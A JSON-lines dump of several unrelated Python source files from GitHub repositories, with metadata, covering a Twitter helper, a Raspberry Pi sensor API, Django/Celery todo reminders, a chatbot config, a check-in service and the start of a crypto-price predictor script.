{"api_name": "argos_bridge.msg.BaseGroundList", "line_number": 102, "usage_type": "call"}, {"api_name": "argos_bridge.msg.MotoGroundList", "line_number": 104, "usage_type": "call"}, {"api_name": "argos_bridge.msg.PuckList", "line_number": 106, "usage_type": "call"}, {"api_name": "argos_bridge.msg.Position", "line_number": 108, "usage_type": "call"}, {"api_name": "rospy.Subscriber", "line_number": 111, "usage_type": "call"}, {"api_name": "argos_bridge.msg.ProximityList", "line_number": 111, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 112, "usage_type": "call"}, {"api_name": "argos_bridge.msg.BaseGroundList", "line_number": 112, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 113, "usage_type": "call"}, {"api_name": "argos_bridge.msg.MotoGroundList", "line_number": 113, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 114, "usage_type": "call"}, {"api_name": "argos_bridge.msg.PuckList", "line_number": 114, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 115, "usage_type": "call"}, {"api_name": "argos_bridge.msg.Position", "line_number": 115, "usage_type": "argument"}, {"api_name": "rospy.Subscriber", "line_number": 116, "usage_type": "call"}, {"api_name": "std_msgs.msg.Bool", "line_number": 116, "usage_type": "argument"}, {"api_name": "math.pi", "line_number": 312, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 315, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 318, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 347, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 348, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 363, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 393, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 396, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 399, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 427, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 428, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 443, "usage_type": "attribute"}, {"api_name": "math.cos", "line_number": 531, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 532, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 557, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 559, "usage_type": "call"}, {"api_name": "math.acos", "line_number": 608, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 613, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 614, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 618, "usage_type": "call"}, {"api_name": "math.acos", "line_number": 641, "usage_type": "call"}, {"api_name": "math.sin", "line_number": 646, "usage_type": "call"}, {"api_name": "math.cos", "line_number": 647, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 651, "usage_type": "call"}, {"api_name": "math.pi", "line_number": 750, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 754, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 758, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 762, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 766, "usage_type": "attribute"}, {"api_name": "math.pi", "line_number": 771, "usage_type": "attribute"}, {"api_name": "math.sqrt", "line_number": 791, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 793, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 860, "usage_type": "call"}, {"api_name": "math.asin", "line_number": 862, "usage_type": "call"}, {"api_name": "rospy.init_node", "line_number": 878, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 879, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 880, "usage_type": "attribute"}, {"api_name": "rospy.spin", "line_number": 886, "usage_type": "call"}]}
{"seq_id": "1573875074", "text": "import re\nfrom datetime import datetime\nfrom urllib.parse import quote\n\nimport requests\n\nfrom server.extensions import config\n\n\ndef get_twitter_user_details(url: str):\n    username = re.match(r\"https://(www\\.)?twitter\\.com/([a-zA-Z0-9_]+)/?\", url).group(2)\n    try:\n        response = requests.get(\n            f\"{config['FRONTEND_URL']}/api/twitter/users/{username}\"\n        )\n        if response.status_code != 200:\n            raise Exception(\"\")\n    except Exception as e:\n        print(e)\n        raise Exception(\"The Twitter user does not exist\")\n\n    return response.json()[\"user\"]\n\n\ndef get_tweets(username: str, last_scanned: \"datetime\"):\n    try:\n        response = requests.get(\n            f\"{config['FRONTEND_URL']}/api/twitter/tweets/{username}?last_scanned={last_scanned.isoformat()}\"\n        )\n        if response.status_code != 200:\n            raise Exception(\"\")\n    except Exception as e:\n        print(e)\n        raise Exception(\"Please try again later\")\n\n    return list(\n        map(\n            lambda x: {\n                \"text\": x.get(\"fullText\"),\n                \"date\": x.get(\"createdAt\"),\n                \"url\": f\"https://twitter.com/user/status/{x.get('id')}\",\n            },\n            response.json().get(\"tweets\"),\n        )\n    )\n", "repo_name": "HohShenYien/caringly-core", "sub_path": "server/social_media/twitter.py", "file_name": "twitter.py", "file_ext": "py", "file_size_in_byte": 1265, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "re.match", "line_number": 11, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 13, "usage_type": "call"}, {"api_name": "server.extensions.config", "line_number": 14, "usage_type": "name"}, {"api_name": "requests.get", "line_number": 27, "usage_type": "call"}, {"api_name": "server.extensions.config", "line_number": 28, "usage_type": "name"}]}
{"seq_id": "30010263292", "text": "import json\nimport datetime\nimport RPi.GPIO as GPIO\nfrom time import sleep\nfrom flask import Flask\n\nBIND_ADDRESS = '0.0.0.0'\nPORT = 5001\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(4,GPIO.IN)\n\n# Date to string converter\ndef date_to_str(o):\n    if isinstance(o, datetime.datetime):\n        return o.__str__()\n\ndef get_data():\n    result = GPIO.input(4)\n    if result == 1:\n        result = False;\n    elif result == 0:\n        result = True;\n    else:\n        result = None\n\n    datetime_now = datetime.datetime.now()\n    data = {\n            \"time_stamp\": datetime_now,\n            \"light\": result\n        }\n\n    sleep(1)\n    return data\n\napp = Flask(__name__)\n\n@app.route(\"/api/light\")\ndef execute_route():\n    try:\n        json_data = json.dumps(get_data(), default = date_to_str)\n        return json_data\n    except Exception as err:\n        print(f'[ Error ]: err')\n        return { 'error': err}\n\nif __name__ == '__main__':\n    app.run(host=BIND_ADDRESS, port=PORT, debug=True) \n", "repo_name": "whoismikem/RaspberryPi_Environment_Sensor", "sub_path": "microAPI_light-sensor/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 975, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "RPi.GPIO.setmode", "line_number": 10, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 10, "usage_type": "name"}, {"api_name": "RPi.GPIO.BCM", "line_number": 10, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.setup", "line_number": 11, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 11, "usage_type": "name"}, {"api_name": "RPi.GPIO.IN", "line_number": 11, "usage_type": "attribute"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "attribute"}, {"api_name": "RPi.GPIO.input", "line_number": 19, "usage_type": "call"}, {"api_name": "RPi.GPIO", "line_number": 19, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 27, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 27, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 33, "usage_type": "call"}, {"api_name": "flask.Flask", "line_number": 36, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 41, "usage_type": "call"}]}
{"seq_id": "40049969970", "text": "from celery import shared_task\nfrom celery.task import task\nfrom django.contrib.auth.models import User\nfrom celery import Celery\nfrom django.core.mail import send_mail\nfrom django_celery_beat.models import PeriodicTask\nfrom django.core.exceptions import ValidationError\nfrom datetime import timedelta\nimport datetime\nimport json\n\nfrom .models import Todo, CrontabSchedule, Settings\n\napp = Celery()\n\napp.conf.timezone = 'Europe/Vilnius'\n\n\n@shared_task\ndef send_welcome_word(user, email, password):\n    subject = (f\"Welcome onboard {user}\")\n    body = f\"\"\"Thank You for registering on Todo App, {user}! \\n\n        No more missed or forgotten tasks for job, leisure, travel or anything!\n        You can now track your daily activities, organize in groups and get daily reminders.\\n\n        Your login date is:\n        Username: {user}\n        Password: {password}\\n\n        You will receive tasks reminders to this email address as well \\n\\n\n        Todo App Team\n    \"\"\"\n    send_mail(subject,\n    body,\n    'my.todo.apl@gmail.com',\n    [email])\n    return None\n\n\n@shared_task\ndef one_off_task_reminder(subject, body, email):\n    send_mail(subject,\n    body,\n    'my.todo.apl@gmail.com',\n    [email])\n    return None\n\n\n@shared_task\ndef delete_reminder(task_id):\n    crontabs = CrontabSchedule.objects.all()\n    for cron in crontabs:\n        if cron.name.startswith(\"id:\"+str(task_id)):\n            cron.delete()\n\n\n@app.task\ndef delete_old_tasks():\n    users = User.objects.all()\n    for user in users:\n        interval = Settings.objects.get(user=user)\n        todos = Todo.objects.filter(author=user, completed=True, created__lt=(datetime.date.today() - datetime.timedelta(days=interval.interval)))\n        if todos.exists():\n            for todo in todos:\n                todo.delete()\n\n@app.task\ndef daily_evening_reminder():\n    users = User.objects.all()\n    for user in users:\n        list_of_task = []\n        todos = Todo.objects.filter(author=user, completed=False, created=datetime.datetime.today())\n        for todo in todos:\n            list_of_task.append(todo.title)\n        nl = '\\n'\n        subject = (f\"Hey {user}. You have uncompleted tasks left for today!\")\n        msg = (f\"Don't forget about your uncompleted today's tasks:\\n{nl.join(map(str, list_of_task))}\")\n        if len(list_of_task)>0:\n            send_mail(subject,\n            msg,\n            'my.todo.apl@gmail.com',\n            [user.email])\n\n\n@app.task\ndef daily_morning_reminder():\n    users = User.objects.all()\n    for user in users:\n        list_of_task = []\n        todos = Todo.objects.filter(author=user, completed=False, created=datetime.datetime.today())\n        for todo in todos:\n            list_of_task.append(todo.title)\n        nl = '\\n'\n        subject = (f\"Hey {user}. You have tasks waiting for you today!\")\n        msg = (f\"For today your tasks are:\\n{nl.join(map(str, list_of_task))}\")\n        if len(list_of_task)>0:\n            send_mail(subject,\n            msg,\n            'my.todo.apl@gmail.com',\n            [user.email])\n\n\ndef custom_reminder(reminder_time, reminder_date, user, task_id, email, title, on_off):\n    reminder_hour = reminder_time[0:2]\n    reminder_minute = reminder_time[3:5]\n    reminder_month = reminder_date[5:7]\n    reminder_day = reminder_date[8:10]\n    if on_off == True:\n        schedule, _ = CrontabSchedule.objects.get_or_create(\n            minute=int(reminder_minute),\n            hour=int(reminder_hour),\n            day_of_week='*',\n            day_of_month=int(reminder_day),\n            month_of_year=int(reminder_month),\n            timezone='Europe/Vilnius',\n            name='id'+':'+str(task_id)+'_'+'reminder'+'_'+str(user)+'_'+str(reminder_month)+'_'+str(reminder_day)+'_'+str(reminder_hour)+':'+str(reminder_minute)\n            )\n        try: \n            PeriodicTask.objects.create(\n                crontab=schedule,\n                name='id'+':'+str(task_id)+'_'+'reminder'+'_'+str(user)+'_'+str(reminder_month)+'_'+str(reminder_day)+'_'+str(reminder_hour)+':'+str(reminder_minute),\n                task='todo_items.tasks.one_off_task_reminder',\n                args=json.dumps([title, 'This is a reminder for your task!', email]),\n                one_off=True,\n                )\n        except ValidationError:\n            PeriodicTask.objects.get(\n                crontab=schedule,\n                name='id'+':'+str(task_id)+'_'+'reminder'+'_'+str(user)+'_'+str(reminder_month)+'_'+str(reminder_day)+'_'+str(reminder_hour)+':'+str(reminder_minute),\n                task='todo_items.tasks.one_off_task_reminder',\n                args=json.dumps([title, 'This is a reminder for your task!', email]),\n                one_off=True,\n                )\n    if on_off == False:\n        try:\n            periodic_task = PeriodicTask.objects.get(name='id'+':'+str(task_id)+'_'+'Reminder'+'_'+str(user)+'_'+str(reminder_month)+'_'+str(reminder_day)+'_'+str(reminder_hour)+':'+str(reminder_minute))\n            periodic_task.delete()\n        except:\n            pass\n", "repo_name": "SigisM/todoapp", "sub_path": "todo_app/todo_items/tasks.py", "file_name": "tasks.py", "file_ext": "py", "file_size_in_byte": 5008, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "celery.Celery", "line_number": 14, "usage_type": "call"}, {"api_name": "django.core.mail.send_mail", "line_number": 31, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 19, "usage_type": "name"}, {"api_name": "django.core.mail.send_mail", "line_number": 40, "usage_type": "call"}, {"api_name": "celery.shared_task", "line_number": 38, "usage_type": "name"}, {"api_name": "models.CrontabSchedule.objects.all", "line_number": 49, "usage_type": "call"}, {"api_name": "models.CrontabSchedule.objects", "line_number": 49, "usage_type": "attribute"}, {"api_name": "models.CrontabSchedule", "line_number": 49, "usage_type": "name"}, {"api_name": "celery.shared_task", "line_number": 47, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 57, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 57, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 57, "usage_type": "name"}, {"api_name": "models.Settings.objects.get", "line_number": 59, "usage_type": "call"}, {"api_name": "models.Settings.objects", "line_number": 59, "usage_type": "attribute"}, {"api_name": "models.Settings", "line_number": 59, "usage_type": "name"}, {"api_name": "models.Todo.objects.filter", "line_number": 60, "usage_type": "call"}, {"api_name": "models.Todo.objects", "line_number": 60, "usage_type": "attribute"}, {"api_name": "models.Todo", "line_number": 60, "usage_type": "name"}, {"api_name": "datetime.date.today", "line_number": 60, "usage_type": "call"}, {"api_name": "datetime.date", "line_number": 60, "usage_type": "attribute"}, {"api_name": "datetime.timedelta", "line_number": 60, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 67, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 67, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 67, "usage_type": "name"}, {"api_name": "models.Todo.objects.filter", "line_number": 70, "usage_type": "call"}, {"api_name": "models.Todo.objects", "line_number": 70, "usage_type": "attribute"}, {"api_name": "models.Todo", "line_number": 70, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 70, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 70, "usage_type": "attribute"}, {"api_name": "django.core.mail.send_mail", "line_number": 77, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects.all", "line_number": 85, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 85, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 85, "usage_type": "name"}, {"api_name": "models.Todo.objects.filter", "line_number": 88, "usage_type": "call"}, {"api_name": "models.Todo.objects", "line_number": 88, "usage_type": "attribute"}, {"api_name": "models.Todo", "line_number": 88, "usage_type": "name"}, {"api_name": "datetime.datetime.today", "line_number": 88, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 88, "usage_type": "attribute"}, {"api_name": "django.core.mail.send_mail", "line_number": 95, "usage_type": "call"}, {"api_name": "models.CrontabSchedule.objects.get_or_create", "line_number": 107, "usage_type": "call"}, {"api_name": "models.CrontabSchedule.objects", "line_number": 107, "usage_type": "attribute"}, {"api_name": "models.CrontabSchedule", "line_number": 107, "usage_type": "name"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects.create", "line_number": 117, "usage_type": "call"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects", "line_number": 117, "usage_type": "attribute"}, {"api_name": "django_celery_beat.models.PeriodicTask", "line_number": 117, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 121, "usage_type": "call"}, {"api_name": "django.core.exceptions.ValidationError", "line_number": 124, "usage_type": "name"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects.get", "line_number": 125, "usage_type": "call"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects", "line_number": 125, "usage_type": "attribute"}, {"api_name": "django_celery_beat.models.PeriodicTask", "line_number": 125, "usage_type": "name"}, {"api_name": "json.dumps", "line_number": 129, "usage_type": "call"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects.get", "line_number": 134, "usage_type": "call"}, {"api_name": "django_celery_beat.models.PeriodicTask.objects", "line_number": 134, "usage_type": "attribute"}, {"api_name": "django_celery_beat.models.PeriodicTask", "line_number": 134, "usage_type": "name"}]}
{"seq_id": "38228883099", "text": "# Always prefer setuptools over distutils\nfrom setuptools import setup, find_packages\n# To use a consistent encoding\nfrom codecs import open\nfrom os import path\n\nhere = path.abspath(path.dirname(__file__))\n\n# Get the long description from the relevant file\nwith open(path.join(here, 'DESCRIPTION.rst'), encoding='utf-8') as f:\n    long_description = f.read()\n\nsetup(\n    name='carrierx',\n    version='0.0.1',\n    description='Client library for CarrierX API.',\n    long_description=long_description,\n    url='https://github.com/mkching/carrierx-python',\n    author='Michael Ching',\n    author_email='mching@carrierx.com',\n    license='MIT',\n    classifiers=[\n        'Development Status :: 3 - Alpha',\n        'Intended Audience :: Developers',\n        'Topic :: Software Development :: Libraries :: Python Modules',\n        'Topic :: Communications :: Telephony',\n        'License :: OSI Approved :: MIT License',\n        'Programming Language :: Python :: 3',\n        'Programming Language :: Python :: 3.2',\n        'Programming Language :: Python :: 3.3',\n        'Programming Language :: Python :: 3.4',\n    ],\n    keywords='carrierx',\n    packages=find_packages(exclude=['contrib', 'docs', 'tests*']),\n    install_requires=['requests'],\n    extras_require={\n        'dev': ['check-manifest'],\n        'test': ['coverage'],\n    },\n)\n", "repo_name": "carrierx/carrierx-python", "sub_path": "setup.py", "file_name": "setup.py", "file_ext": "py", "file_size_in_byte": 1338, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.abspath", "line_number": 7, "usage_type": "call"}, {"api_name": "os.path", "line_number": 7, "usage_type": "name"}, {"api_name": "os.path.dirname", "line_number": 7, "usage_type": "call"}, {"api_name": "codecs.open", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "name"}, {"api_name": "setuptools.setup", "line_number": 13, "usage_type": "call"}, {"api_name": "setuptools.find_packages", "line_number": 34, "usage_type": "call"}]}
{"seq_id": "39039482319", "text": "\"\"\"\"配置文件\"\"\"\r\nimport pickle\r\n\r\nimport torch\r\n\r\ndevice=torch.device(\"cuda:0\"if torch.cuda.is_available() else \"cpu\")\r\n#############语料相关############\r\nuser_dict_path=\"corpus/user_dict/keyword.txt\"\r\nstopwords_path=r\"corpus/user_dict/stopwords.txt\"#\"\\corpus\\user_dict\\stopwords.txt\"\r\nclassify_corpus_train_path=\"corpus/classify/classify_train.txt\"\r\nclassify_corpus_test_path=\"corpus/classify/classify_test.txt\"\r\n\r\n\r\nclassify_corpus_by_word_train_path=\"corpus/classify/classify_train_by_word.txt\"\r\nclassify_corpus_bu_word_test_path=\"corpus/classify/classify_test_by_word.txt\"\r\n\r\n\r\n\r\n\r\n###################################分类相关##############################\r\nclassify_model_path=\"model/classify.model\"#词语作为特征的模型的保存地址\r\nclassify_model_path_by_word=\"model/classify_by_word.model\"#单个字作为特征的模型的保存地址\r\n\r\n\r\nclassify_model_final_path=\"model/classify.model\"#一个词语作为特征的模型\r\nclassify_model_final_path_by_word=\"model/classify_by_word.model\"#单个字作为特征的模型\r\n\r\n\r\n\r\n\r\n\r\n\r\n##################################chatbot相关################################\r\n#\r\n# chatbot_input_path1=r'E:\\Chat_robot_project\\chart_service\\corpus\\chatbot\\input.txt'#将小黄鸡未分词的问 放到一个路径下\r\n# chatbot_target_path1=r'E:\\Chat_robot_project\\chart_service\\corpus\\chatbot\\target.txt'#将小黄鸡未分词的回答 放到一个路径下\r\n\r\n\r\nchatbot_by_word=True\r\nif chatbot_by_word:\r\n\r\n    chatbot_input_path='corpus/chatbot/input_by_word.txt'#将小黄鸡未分词的问 放到一个路径下\r\n    chatbot_target_path='corpus/chatbot/target_by_word.txt'#将小黄鸡未分词的回答 放到一个路径下\r\n\r\nelse:\r\n    chatbot_input_path='corpus/chatbot/input.txt'#将小黄鸡未分词的问 放到一个路径下\r\n    chatbot_target_path='corpus/chatbot/target.txt'#将小黄鸡未分词的回答 放到一个路径下\r\n\r\n#ws\r\nif chatbot_by_word:\r\n    chatbot_ws_input_path = \"model/chatbot/ws_by_word_input_path.pkl\"\r\n    chatbot_ws_target_path=\"model/chatbot/ws_by_word_target_path.pkl\"\r\nelse:\r\n    chatbot_ws_input_path=\"model/chatbot/ws_input_path.pkl\"\r\n    chatbot_ws_target_path=\"model/chatbot/ws_target_path.pkl\"\r\n\r\n\r\n\r\nchatbot_ws_input=pickle.load(open(chatbot_ws_input_path,'rb'))\r\nchatbot_ws_target=pickle.load(open(chatbot_ws_target_path,'rb'))\r\n\r\nchatbot_batch_size=128\r\nif chatbot_by_word:\r\n    chatbot_input_max_len=30\r\n    chatbot_target_max_len = 30\r\nelse:\r\n    chatbot_input_max_len = 12\r\n    chatbot_target_max_len = 12\r\n\r\n\r\nchatbot_embedding_dim=256\r\nchatbot_encoder_num_layers=1\r\nchatbot_encoder_hidden_size=128\r\n\r\n\r\n\r\nchatbot_decoder_num_layer=1\r\nchatbot_decoder_hidden_size=128\r\n\r\n\r\nchatbot_teacher_forcing_ratio=0.7\r\n\r\n\r\nchatbot_model_save_path=\"model/chatbot/seq2seq.model\" if chatbot_by_word else \"model/chatbot/seq2seq_by_word.model\"\r\nchatbot_optimizer_save_path=\"model/chatbot/optimizer.model\" if chatbot_by_word else \"model/chatbot/optimizer_by_word.model\"\r\n\r\nclip=0.01", "repo_name": "mazongpei/chartbot", "sub_path": "chart_service/config.py", "file_name": "config.py", "file_ext": "py", "file_size_in_byte": 2991, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 6, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 6, "usage_type": "attribute"}, {"api_name": "pickle.load", "line_number": 59, "usage_type": "call"}, {"api_name": "pickle.load", "line_number": 60, "usage_type": "call"}]}
{"seq_id": "72901688231", "text": "from datetime import datetime\nfrom src.extension import db\nfrom src.pbl5_ma import CheckInSchema\nfrom src.model import CheckIn\nfrom flask import jsonify, request, jsonify\n\ncheck_in_schema = CheckInSchema()\ncheck_ins_schema = CheckInSchema(many=True)\n\ndef get_all_check_ins_service():\n    check_ins = CheckIn.query.all()\n    return check_ins_schema.dump(check_ins)\n\ndef create_check_in_service():\n    data = request.json\n\n    if (data and ('plate_number' in data) and ('student_id' in data) and ('img_check_in' in data)):\n        plate_number = data['plate_number']\n        student_id = data['student_id']\n        img_check_in = data['img_check_in']\n        try: \n            time_check_in = datetime.now()\n            check_in = CheckIn(plate_number, student_id, time_check_in, img_check_in)\n            db.session.add(check_in)\n            db.session.commit()\n            return jsonify({\n                    \"check_in\": {\n                        \"id\": check_in.id,\n                        \"student_id\": student_id,\n                        \"plate_number\": plate_number,\n                        \"time_check_in\": time_check_in,\n                        \"img_check_in\": img_check_in\n                    },\n                    \"message\": \"Check in success\",\n                    \"status\": 1\n                }), 201\n        except Exception:\n            db.rollback()\n            return jsonify({\n                    \"message\": \"Check in failed\",\n                    \"status\": 0\n                }), 400\n    else:\n        return jsonify({\n                    \"message\": \"Validation request error\",\n                    \"status\": 0\n                }), 400\n\n    \ndef find_by_student_id_and_plate_number_service(student_id, plate_number_input):\n    check_in_find = db.session.query(CheckIn).filter(CheckIn.student_id == student_id, \n                                                    CheckIn.plate_number == plate_number_input)\\\n                                                    .order_by(CheckIn.time_check_in.desc())\\\n                                                    .first()\n    return check_in_find\n", "repo_name": "LePhiDuy/PBL5_backend", "sub_path": "src/service/check_in_service.py", "file_name": "check_in_service.py", "file_ext": "py", "file_size_in_byte": 2098, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "src.pbl5_ma.CheckInSchema", "line_number": 7, "usage_type": "call"}, {"api_name": "src.pbl5_ma.CheckInSchema", "line_number": 8, "usage_type": "call"}, {"api_name": "src.model.CheckIn.query.all", "line_number": 11, "usage_type": "call"}, {"api_name": "src.model.CheckIn.query", "line_number": 11, "usage_type": "attribute"}, {"api_name": "src.model.CheckIn", "line_number": 11, "usage_type": "name"}, {"api_name": "flask.request.json", "line_number": 15, "usage_type": "attribute"}, {"api_name": "flask.request", "line_number": 15, "usage_type": "name"}, {"api_name": "datetime.datetime.now", "line_number": 22, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 22, "usage_type": "name"}, {"api_name": "src.model.CheckIn", "line_number": 23, "usage_type": "call"}, {"api_name": "src.extension.db.session.add", "line_number": 24, "usage_type": "call"}, {"api_name": "src.extension.db.session", "line_number": 24, "usage_type": "attribute"}, {"api_name": "src.extension.db", "line_number": 24, "usage_type": "name"}, {"api_name": "src.extension.db.session.commit", "line_number": 25, "usage_type": "call"}, {"api_name": "src.extension.db.session", "line_number": 25, "usage_type": "attribute"}, {"api_name": "src.extension.db", "line_number": 25, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 26, "usage_type": "call"}, {"api_name": "src.extension.db.rollback", "line_number": 38, "usage_type": "call"}, {"api_name": "src.extension.db", "line_number": 38, "usage_type": "name"}, {"api_name": "flask.jsonify", "line_number": 39, "usage_type": "call"}, {"api_name": "flask.jsonify", "line_number": 44, "usage_type": "call"}, {"api_name": "src.extension.db.session.query", "line_number": 51, "usage_type": "call"}, {"api_name": "src.model.CheckIn", "line_number": 51, "usage_type": "argument"}, {"api_name": "src.extension.db.session", "line_number": 51, "usage_type": "attribute"}, {"api_name": "src.extension.db", "line_number": 51, "usage_type": "name"}, {"api_name": "src.model.CheckIn.student_id", "line_number": 51, "usage_type": "attribute"}, {"api_name": "src.model.CheckIn.plate_number", "line_number": 52, "usage_type": "attribute"}, {"api_name": "src.model.CheckIn", "line_number": 52, "usage_type": "name"}, {"api_name": "src.model.CheckIn.time_check_in.desc", "line_number": 53, "usage_type": "call"}, {"api_name": "src.model.CheckIn.time_check_in", "line_number": 53, "usage_type": "attribute"}, {"api_name": "src.model.CheckIn", "line_number": 53, "usage_type": "name"}]}
{"seq_id": "43993536955", "text": "# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\nfrom Predictor import Predictor\nfrom sklearn.neighbors import KNeighborsRegressor\n#Used to get command line arguments\nimport sys\nimport os\n#Used to check validity of date\nfrom datetime import datetime, timedelta\n\nfrom TFMLP import MLPR\n\nimport Utils\nfrom Utils import fetch_data_from_api, plot_data\n\n#Display usage information\ndef print_usage():\n    print('Usage:\\n')\n    print('\\tpython main.py      ')\n\n    print('\\t')\n    print('\\tsource type: K_NEIGHBORS_V1')\n    print('\\tsource type: MLPR_V1')\n    print('\\t')\n    print('\\tmarket: BITSTAMP')\n    print('\\t')\n    print('\\tcurrency pair: BTC_USD')\n    print('\\t')\n    print('\\tperiod: ONE_HOUR')\n    print('\\tperiod: ONE_DAY')\n    print('\\tperiod: WEEK')\n    print('\\t')\n    print('\\tstart time: NOW | 2017-02-09T08:00:00')\n    print('\\t')\n    print('\\tend time (optional): 2017-03-14T16:00:00')\n\n#Main program\ndef main(args):\n    if(len(args) != 5 and len(args) != 6):\n        print(\"Invalid parameters count\")\n        print_usage()\n        return\n\n    print(\"-------------------------------------------------------------------\")\n    print (\"Start time = %s\" % datetime.now())\n    print(\"\\n\");\n\n    #API Client ID\n    try:\n        api_client_id = os.environ[\"API_CLIENT_ID\"]\n    except KeyError:\n        print(\"Env. variable API_CLIENT_ID is not defined or is invalid!\")\n        print_usage()\n        return\n\n    #API Client secret\n    try:\n        api_client_secret = os.environ[\"API_CLIENT_SECRET\"]\n    except KeyError:\n        print(\"Env. variable API_CLIENT_SECRET is not defined or is invalid!\")\n        print_usage()\n        return\n\n    #Source type\n    pred_source = args[0].upper()\n\n    #Market type\n    market = args[1].upper()\n\n    #Currency pair\n    currency_pair = args[2].upper()\n\n    #Period\n    period = args[3].upper()\n\n    # Start and end time\n    if(args[4] == \"NOW\"):\n        if(period == \"ONE_HOUR\"):\n            startTime = datetime.today()\n            # startTime = startTime - timedelta(hours=24 + 3)\n            startTime = startTime - timedelta(hours=0)\n            startTime = startTime.replace(minute=0, second=0)\n            endTime = startTime + timedelta(hours=24*3) # 3 dni\n            endTime = endTime.replace(minute=0, second=0)\n        elif(period == \"ONE_DAY\"):\n            startTime = datetime.today()\n            # startTime = startTime - timedelta(days=14) # 16 trochu rozdielne\n            startTime = startTime - timedelta(days=0)\n            startTime = startTime.replace(hour=0, minute=0, second=0)\n            endTime = startTime + timedelta(days=30*5) # 5mesiace\n            endTime = endTime.replace(hour=0, minute=0, second=0)\n        elif(period == \"WEEK\"):\n            startTime = datetime.today()\n            # startTime = startTime - timedelta(weeks=14)\n            startTime = startTime - timedelta(weeks=0)\n            while startTime.weekday() != 0: #0 for monday\n                startTime -= timedelta(days=1)\n\n            startTime = startTime.replace(hour=0, minute=0, second=0)\n            endTime = startTime + timedelta(weeks=150)\n            while endTime.weekday() != 0: #0 for monday\n                endTime -= timedelta(days=1)\n            endTime = endTime.replace(hour=0, minute=0, second=0)\n\n            startTime += timedelta(days=1)\n            endTime += timedelta(days=1)\n\n        start = startTime.strftime(\"%Y-%m-%dT%H:%M:%S\")\n        end = endTime.strftime(\"%Y-%m-%dT%H:%M:%S\")\n    else:\n        #Test validity of start date string\n        try:\n            datetime.strptime(args[4], 